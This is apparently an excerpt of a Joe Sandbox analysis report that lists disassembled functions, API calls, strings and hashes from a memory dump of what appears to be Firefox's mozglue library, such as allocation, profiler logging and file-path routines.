?_Xbad_function_call@std@@YAXXZ.MSVCP140(00000000), ref: 6C8FAD38

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree$Xbad_function_call@std@@
String ID:
API String ID: 2167474191-0
Opcode ID: af8fc23250ecb0b82fdc6d4d39c863135aacf003acdf8097a674ea37efbe7aa2
Instruction ID: 43b6f5f46eb2ec0569f73c28dae1cbe5b3ae72a718c674e4b657619c5752bf0e
Opcode Fuzzy Hash: af8fc23250ecb0b82fdc6d4d39c863135aacf003acdf8097a674ea37efbe7aa2
Instruction Fuzzy Hash: 73516674600B05CFC720DF29C688796B7F5BF89764F204A2DD8AA83B50DB35B849CB91

Function 6C905D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C905C8C,?,6C8DE829), ref: 6C905D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C905C8C,?,6C8DE829), ref: 6C905D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C905C8C,?,6C8DE829), ref: 6C905D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C905C8C,?,6C8DE829), ref: 6C905D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C905C8C,?,6C8DE829), ref: 6C905DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C905C8C,?,6C8DE829), ref: 6C905DC9
std::_Facet_Register.LIBCPMT ref: 6C905DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C905C8C,?,6C8DE829), ref: 6C905E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C905C8C,?,6C8DE829), ref: 6C905E45

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: f30b172214dfce1ff542eb1b673722b7fcc695670c4598b492f0bcffb3cf7640
Instruction ID: 957d03d70ab76f4f6f9d1c62be872ca75ca29afda77066c9a4008a2146ca7300
Opcode Fuzzy Hash: f30b172214dfce1ff542eb1b673722b7fcc695670c4598b492f0bcffb3cf7640
Instruction Fuzzy Hash: 0C41A0707042049FCB10DF69C898AAE77FAEF89318F24406DE54A9B791EB34EC05CB65

Function 6C8DCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C8A31A7), ref: 6C8DCDDD

Strings

<jemalloc>, xrefs: 6C8DCF9F, 6C8DCFB3
: (malloc) Error in VirtualFree(), xrefs: 6C8DCFA4, 6C8DCFB8

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 5404bf8a741d882233315405db133649bd73d428ab99b05af379763635df486c
Instruction ID: 3e47d3b3d35f91321eab206eaec638114ceb99c17217a142e54303b6a2bac8a1
Opcode Fuzzy Hash: 5404bf8a741d882233315405db133649bd73d428ab99b05af379763635df486c
Instruction Fuzzy Hash: 0E31D670B5420A5BEF20AFA9CD45BAE7BB5BB41B14F314814F651EBA81DBB4E4008B91

Function 6C8ABAE0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 183COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C8ABC03
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C8ABD06

Strings

y, xrefs: 6C8ABC4E
0, xrefs: 6C8ABBCD
0, xrefs: 6C8ABC74

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0$0$y
API String ID: 2811501404-3020536412
Opcode ID: 68fd4bebf6519e0aef6b7135ab1194d314f3b36d707960983559d76ff03fb5f4
Instruction ID: c776b93440082b946c85923df70edbfde0e975c6ae0f3610a46e697a1da1e132
Opcode Fuzzy Hash: 68fd4bebf6519e0aef6b7135ab1194d314f3b36d707960983559d76ff03fb5f4
Instruction Fuzzy Hash: 8961C471A087489FC720CF68C681A6BB7E5EF8A358F014E2DE88597651DB30D94AC782

Function 6C8AECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8AF100: LoadLibraryW.KERNEL32(shell32,?,6C91D020), ref: 6C8AF122
Part of subcall function 6C8AF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C8AF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C8AED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C8AEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C8AEDCC
CreateFileW.KERNEL32 ref: 6C8AEE08
free.MOZGLUE(00000000), ref: 6C8AEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C8AEE32

Part of subcall function 6C8AEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C8AEBB5
Part of subcall function 6C8AEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C8DD7F3), ref: 6C8AEBC3
Part of subcall function 6C8AEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C8DD7F3), ref: 6C8AEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C8AEDC1

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 6dc0593ed3791ced89714e3930afd0b4db51e65ab22c32dc776d8983c253112c
Instruction ID: 4d603cbc053de705cc5f40df52a2e31d1646f48535514fcb05865735d5fa7870
Opcode Fuzzy Hash: 6dc0593ed3791ced89714e3930afd0b4db51e65ab22c32dc776d8983c253112c
Instruction Fuzzy Hash: D651C571D053088BDB20DFA8CA817EEB7B1AF55318F448C2DD85577B40E734A96AC7A2

Function 6C8B0A60 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000000C,?,6C90B80C,00000000,?,?,6C8B003B,?), ref: 6C8B0A72

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

moz_xmalloc.MOZGLUE(?,?,6C90B80C,00000000,?,?,6C8B003B,?), ref: 6C8B0AF5
free.MOZGLUE(00000000,?,?,6C90B80C,00000000,?,?,6C8B003B,?), ref: 6C8B0B9F
free.MOZGLUE(?,?,?,6C90B80C,00000000,?,?,6C8B003B,?), ref: 6C8B0BDB
free.MOZGLUE(00000000,?,?,6C90B80C,00000000,?,?,6C8B003B,?), ref: 6C8B0BED
mozalloc_abort.MOZGLUE(alloc overflow,?,6C90B80C,00000000,?,?,6C8B003B,?), ref: 6C8B0C0A

Strings

alloc overflow, xrefs: 6C8B0C05

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: free$moz_xmalloc$mallocmozalloc_abort
String ID: alloc overflow
API String ID: 1471638834-749304246
Opcode ID: 7ae4822187e7e2bc3cabb0c38f9ed47bc3bd5055ce8aeb9fcbd141bf8776c837
Instruction ID: 5cb057eee7d60a359386977cbc9406bc888e7414a41aa7ea644a6aa0fe22c28b
Opcode Fuzzy Hash: 7ae4822187e7e2bc3cabb0c38f9ed47bc3bd5055ce8aeb9fcbd141bf8776c837
Instruction Fuzzy Hash: 4F51A0B0A042468FDB24CF58CAC0A6EB3B5EF44348F144D6DC85AABB01EB71E548CB51

Function 6C91A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C91A565

Part of subcall function 6C91A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C91A4BE
Part of subcall function 6C91A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C91A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C91A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C91A6B6

Strings

z, xrefs: 6C91A6AE
0, xrefs: 6C91A5FB

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 0898e6b8568b37c16b371c03a23ed305e32decf14069aecbb756d0fd8d045ba6
Instruction ID: 80997a0da7178bb743e0bd03d790acdeac1e4309d826983c27cbaf98bf68fcde
Opcode Fuzzy Hash: 0898e6b8568b37c16b371c03a23ed305e32decf14069aecbb756d0fd8d045ba6
Instruction Fuzzy Hash: 8D41277190D7499FC341DF28C480A9BBBE5BF89354F409A2EF49987650EB30E949CB92

Function 6C8A78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C92008B), ref: 6C8A7B89
free.MOZGLUE(?,6C92008B), ref: 6C8A7BAC

Part of subcall function 6C8A78C0: free.MOZGLUE(?,6C92008B), ref: 6C8A7BCF

free.MOZGLUE(?,6C92008B), ref: 6C8A7BF2

Part of subcall function 6C8C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C8C5EDB
Part of subcall function 6C8C5E90: memset.VCRUNTIME140(6C907765,000000E5,55CCCCCC), ref: 6C8C5F27
Part of subcall function 6C8C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C8C5FB2

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 50dc8817de18f13e010f1f2a1c56396131cb4ab6da2db840e7213d8061a64f68
Instruction ID: 516933d239546e4102293ddc1c040bc9e555ed0900bf8d3a4f614b3d00bc2f68
Opcode Fuzzy Hash: 50dc8817de18f13e010f1f2a1c56396131cb4ab6da2db840e7213d8061a64f68
Instruction Fuzzy Hash: 76C10931E011188FEB34CBA8CE9079CB772AF40314F150BA9D51AA7BC9C731AE869F41

Function 6C8E9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C8DAB89: EnterCriticalSection.KERNEL32(6C92E370,?,?,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284), ref: 6C8DAB94
Part of subcall function 6C8DAB89: LeaveCriticalSection.KERNEL32(6C92E370,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284,?,?,6C8C56F6), ref: 6C8DABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8B4A68), ref: 6C8E945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8E9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8E9482
__Init_thread_footer.LIBCMT ref: 6C8E949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C8E946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C8E947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C8E9459

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 5bae0df8a1eded5013f293a3a00909bed0248ec4bbb5195a96eea0bf8e52ab4e
Instruction ID: 41aa352c6e80b79ee4651a8ac1c7d4b51aa3aecf44f118d5ded45410cb9334bf
Opcode Fuzzy Hash: 5bae0df8a1eded5013f293a3a00909bed0248ec4bbb5195a96eea0bf8e52ab4e
Instruction Fuzzy Hash: B3014030A1410187DF10976CDA049CA33789B4B32DF240937DCC586B41F7BDE965875B

Function 6C8F1220 Relevance: 12.2, APIs: 8, Instructions: 173threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8F124B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8F1268
GetCurrentThreadId.KERNEL32 ref: 6C8F12DA
InitializeConditionVariable.KERNEL32(?), ref: 6C8F134A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C8F138A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C8F1431

Part of subcall function 6C8E8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C901563), ref: 6C8E8BD5

free.MOZGLUE(?), ref: 6C8F145A
free.MOZGLUE(?), ref: 6C8F146C

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: a82f9457dfa2b2c481db9b941cbc6b665bf70e8a7168d24c627d51b972f78093
Instruction ID: 24e0eb24d10493c39d57edf72fc542c90c80f4948248c3090ae9dacf60297070
Opcode Fuzzy Hash: a82f9457dfa2b2c481db9b941cbc6b665bf70e8a7168d24c627d51b972f78093
Instruction Fuzzy Hash: 1A61D2756043449BDB20CF28C98079AB7F6BFD5348F14492DE89947711EB75E44ACB42

Function 6C8F0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8F0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8F0F88
GetCurrentThreadId.KERNEL32 ref: 6C8F0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C8F1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C8F10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C8F114B

Part of subcall function 6C8E8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C901563), ref: 6C8E8BD5

free.MOZGLUE(?), ref: 6C8F1174
free.MOZGLUE(?), ref: 6C8F1186

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 7132fc225152457f9605b1f0fc2df92586d1d21ee22efbc402e5d7899318e187
Instruction ID: 5c285ba56391213f0942c7d78560fb82df203d45b7bf224a7d8df6cbf361abad
Opcode Fuzzy Hash: 7132fc225152457f9605b1f0fc2df92586d1d21ee22efbc402e5d7899318e187
Instruction Fuzzy Hash: 7761B1756083449FDB20CF28CA8079AB7F5BFC5348F14492DE89947711EB35E88ACB82

Function 6C8AE9C0 Relevance: 12.1, APIs: 8, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,6C8B1999), ref: 6C8AEA39
memcpy.VCRUNTIME140(?,?,7FFFFFFE), ref: 6C8AEA5C
memset.VCRUNTIME140(7FFFFFFE,00000000,?), ref: 6C8AEA76
moz_xmalloc.MOZGLUE(-00000001,?,?,6C8B1999), ref: 6C8AEA9D
memcpy.VCRUNTIME140(?,7FFFFFFE,?,?,?,6C8B1999), ref: 6C8AEAC2
memset.VCRUNTIME140(?,00000000,00000000,?,?,?,?), ref: 6C8AEADC
free.MOZGLUE(7FFFFFFE,?,?,?,?), ref: 6C8AEB0B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 6C8AEB27

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: memcpymemsetmoz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 706364981-0
Opcode ID: 572fdbb33f7bacda77b102d3923f4f5fecb6196bead781ca465cbd9e0b4a5f4e
Instruction ID: eabefebe7272fcfc530df9290871ae814b0122ebaa4dca41b5cf34398447a9b5
Opcode Fuzzy Hash: 572fdbb33f7bacda77b102d3923f4f5fecb6196bead781ca465cbd9e0b4a5f4e
Instruction Fuzzy Hash: E241E5B1A002199FDB24CFA8DD80AAE77A4FF55224F240E34E815E7B94E730E91587D1

Function 6C8AB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C8AB61E,?,?,?,?,?,00000000), ref: 6C8AB6AC

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C8AB61E,?,?,?,?,?,00000000), ref: 6C8AB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C8AB61E,?,?,?,?,?,00000000), ref: 6C8AB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C8AB61E,?,?,?,?,?,00000000), ref: 6C8AB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C8AB61E,?,?,?,?,?,00000000), ref: 6C8AB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C8AB61E), ref: 6C8AB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C8AB61E,?,?,?,?,?,00000000), ref: 6C8AB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C8AB61E,?,?,?,?,?,00000000), ref: 6C8AB79A

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: d94ec44acd1fc5cfdd84143f2305dbfc5aa65f5845211f4ae929b83b4442b569
Instruction ID: acd4094e8928454655ad1b1013b20b9d9ebd98a86bb070bca0c999c753010789
Opcode Fuzzy Hash: d94ec44acd1fc5cfdd84143f2305dbfc5aa65f5845211f4ae929b83b4442b569
Instruction Fuzzy Hash: 6141D2B2D001199FCB20DFA8DD806BEB7B5BF95320B250A39E825E7790E771E90187D1

Function 6C8AEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C925104), ref: 6C8AEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C8AEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C8AEFEC
free.MOZGLUE(?), ref: 6C8AF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C8AF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C8AF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8AF065
moz_xmalloc.MOZGLUE ref: 6C8AF072

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

